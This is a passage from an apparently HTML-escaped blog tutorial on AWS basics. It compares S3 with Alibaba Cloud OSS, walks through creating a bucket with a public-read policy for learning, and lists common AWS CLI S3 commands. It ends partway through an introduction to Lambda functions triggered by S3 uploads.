restrictions&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;You must choose an AWS region, such as us-east-1&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;You must choose an Alibaba Cloud region, such as cn-hangzhou&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Storage classes&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Standard, Infrequent Access (IA), Glacier&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Standard, Infrequent Access, Archive, Cold Archive&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;API compatibility&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;S3 API&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Partially compatible with the S3 API, with additional proprietary Alibaba Cloud APIs&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Default access&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Private by default; must be changed manually&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Private by default; must be changed manually&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Cross-region replication&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Supports replication across AWS regions&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Supports replication across Alibaba Cloud regions&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;Buckets are private by default, so you can store backups and other material without other people seeing it. To start working with S3, we need to learn how to create a bucket and try operating it through a URL and AWSCLI.&lt;/p&gt;&#10;&lt;h3 id="creating-an-s3-bucket"&gt;&lt;a href="#creating-an-s3-bucket" class="header-anchor"&gt;&lt;/a&gt;Creating an S3 Bucket&#10;&lt;/h3&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Use the following configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After creating the bucket, find it and upload any file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then enter the following policy under Bucket policy:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Principal&amp;#34;: &amp;#34;*&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;s3:GetObject&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:s3:::mentalityxttest/*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;By default, only the current user can access uploaded resources. For learning purposes, however, it is easier to make everything public. After allowing the bucket policy to control access, we still need to add a rule permitting external access to the bucket. At that point, the image becomes accessible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="aws-cli"&gt;&lt;a href="#aws-cli" class="header-anchor"&gt;&lt;/a&gt;AWS CLI&#10;&lt;/h3&gt;&lt;h4 id="first-check-whether-aws-cli-is-installed"&gt;&lt;a href="#first-check-whether-aws-cli-is-installed" class="header-anchor"&gt;&lt;/a&gt;First, Check Whether AWS CLI Is Installed&#10;&lt;/h4&gt;&lt;p&gt;Run:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws --version&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it is not installed, see the official documentation:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Linux/macOS&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl &amp;#34;https://awscli.amazonaws.com/AWSCLIV2.pkg&amp;#34; -o &amp;#34;AWSCLIV2.pkg&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo installer -pkg AWSCLIV2.pkg -target /&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Windows&lt;/strong&gt;: Download AWS CLI&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="configuring-aws-cli-linking-your-aws-account"&gt;&lt;a href="#configuring-aws-cli-linking-your-aws-account" class="header-anchor"&gt;&lt;/a&gt;Configuring AWS CLI (Linking Your AWS Account)&#10;&lt;/h4&gt;&lt;p&gt;You need to configure an &lt;strong&gt;Access Key and Secret Key&lt;/strong&gt;, which can be created in IAM, and then run:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Enter the following when prompted:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;AWS Access Key ID&lt;/strong&gt;: Your AWS access key&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;AWS Secret Access Key&lt;/strong&gt;: Your AWS secret key&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Default region name&lt;/strong&gt;: &lt;code&gt;ap-southeast-1&lt;/code&gt; (the region you selected)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Default output format&lt;/strong&gt;: &lt;code&gt;json&lt;/code&gt; (JSON is the default and recommended format)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The region is shown on the home page. Both keys are under the user&amp;rsquo;s access keys.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="common-s3-cli-operations"&gt;&lt;a href="#common-s3-cli-operations" class="header-anchor"&gt;&lt;/a&gt;Common S3 CLI Operations&#10;&lt;/h4&gt;&lt;p&gt;These are common S3 commands. Together with the bucket permissions above, you can test them directly in a terminal.&lt;/p&gt;&#10;&lt;p&gt;Create an S3 bucket:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 mb s3://your-bucket-name&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;mb&lt;/code&gt; = make bucket&lt;/p&gt;&#10;&lt;p&gt;List buckets:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Upload a file to S3:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp localfile.jpg s3://your-bucket-name/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;cp&lt;/code&gt; = copy&lt;/p&gt;&#10;&lt;p&gt;To upload an entire folder recursively:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp ./my-folder s3://your-bucket-name/ --recursive&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Download a file from S3:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://your-bucket-name/3.jpg ./localfile.jpg&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;List files in a bucket:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls s3://your-bucket-name/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Delete a file from an S3 bucket:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 rm s3://your-bucket-name/3.jpg&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Delete an entire bucket:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 rb s3://your-bucket-name --force&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;rb&lt;/code&gt; = remove bucket, and &lt;code&gt;--force&lt;/code&gt; deletes all contents before deleting the bucket.&lt;/p&gt;&#10;&lt;h2 id="lambda"&gt;&lt;a href="#lambda" class="header-anchor"&gt;&lt;/a&gt;Lambda&#10;&lt;/h2&gt;&lt;p&gt;Lambda is &lt;strong&gt;a managed environment that can run code automatically&lt;/strong&gt;. Think of it like this: you write some Python code → &lt;strong&gt;but do not need to run a server for it&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Event Source&lt;/strong&gt;: When does the Lambda code run?&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;S3 event&lt;/strong&gt;: Run Lambda automatically after a file is uploaded&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;API Gateway&lt;/strong&gt;: Triggered when a user accesses an API&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;CloudWatch event&lt;/strong&gt;: Triggered on a schedule&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;SNS / SQS message&lt;/strong&gt;: A message triggers Lambda&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Runtime&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Lambda &lt;strong&gt;supports several languages&lt;/strong&gt;, including Python, Node.js, Go, Java, C#, and Ruby.&lt;/li&gt;&#10;&lt;li&gt;You need to choose a &lt;strong&gt;runtime&lt;/strong&gt;, such as &lt;code&gt;Python 3.9&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Execution time limit&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Lambda has a &lt;strong&gt;maximum execution time of 15 minutes&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;The longer the code runs, the more it costs.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Search for Lambda to find it. When you first open it, there is a tutorial you can follow step by step, so take your time. One particularly interesting part is how it responds to events. As listed above, both S3 events and API events can trigger Lambda functions, which is pretty neat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The defaults are fine. Add a trigger first, mainly to get familiar with the process.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Start testing by uploading a file to S3.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp .\3.jpg s3://*********/3.jpg&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can see that it was triggered.&lt;/p&gt;&#10;&lt;p&gt;Of course, you can view the details in &lt;strong&gt;CloudWatch&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As for the exact event, all we can see at this point is that Lambda was triggered. We cannot tell which event triggered it or what the result was.&lt;/p&gt;&#10;&lt;p&gt;Go back to Lambda, enter the following code, and click Deploy to save it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler(event, context):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(&amp;#34;=== Lambda Triggered ===&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(json.dumps(event, indent=4)) # Print the event that triggered Lambda&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;statusCode&amp;#39;: 200,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;body&amp;#39;: json.dumps(&amp;#39;Lambda ran successfully&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(&amp;#34;=== Lambda Return Value ===&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(json.dumps(response, indent=4)) # Print the result returned by Lambda&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return response&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Trigger it again. Uploading a file or clicking the code test button will both work.&lt;/p&gt;&#10;&lt;p&gt;This is the log from testing the code directly. You can see that the returned JSON is identical to the JSON in the test and was recorded in the log.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is the log triggered by uploading a file to the S3 bucket. It includes detailed AWSCLI fields, the uploaded filename, the bucket name, the file size, and more.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;event&lt;/code&gt; (event data)&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;event&lt;/code&gt; is the data AWS &lt;strong&gt;passes in automatically&lt;/strong&gt; when it triggers Lambda. For example:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;When &lt;strong&gt;S3 triggers Lambda&lt;/strong&gt;, &lt;code&gt;event&lt;/code&gt; contains the &lt;strong&gt;uploaded filename and bucket name&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;When &lt;strong&gt;API Gateway triggers Lambda&lt;/strong&gt;, &lt;code&gt;event&lt;/code&gt; contains &lt;strong&gt;HTTP request information&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;When &lt;strong&gt;CloudWatch triggers Lambda&lt;/strong&gt;, &lt;code&gt;event&lt;/code&gt; contains &lt;strong&gt;scheduled-task information&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;That is why printing event gave us so much information about the S3 bucket, including the uploader&amp;rsquo;s IP.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;context&lt;/code&gt; (execution environment)&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;context&lt;/code&gt; is not event data. It contains &lt;strong&gt;environment information from AWS while 